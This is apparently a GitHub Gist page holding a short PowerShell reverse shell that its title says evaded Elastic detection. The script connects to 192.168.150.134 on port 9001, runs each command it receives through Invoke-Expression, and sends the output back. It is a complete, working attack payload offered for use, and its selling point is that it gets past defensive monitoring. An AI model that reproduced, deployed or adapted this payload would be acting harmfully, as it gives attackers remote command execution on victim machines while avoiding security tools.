Skip to content

Instantly share code, notes, and snippets.

@caueb
Last active July 7, 2023 06:19
Show Gist options
  • Save caueb/30aa1cb69cd5268af587bc4c3a3fc8f5 to your computer and use it in GitHub Desktop.
Save caueb/30aa1cb69cd5268af587bc4c3a3fc8f5 to your computer and use it in GitHub Desktop.
PowerShell reverse shell - evaded Elastic on 07/07
$caue = New-Object System.Net.Sockets.TCPClient('192.168.150.134',9001);
$caue2 = $caue.GetStream();
[byte[]]$bytes = 0..65535|%{0};while(($i = $caue2.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PSReverseShell# ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$caue2.Write($sendbyte,0,$sendbyte.Length);
$caue2.Flush()}$caue.Close();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment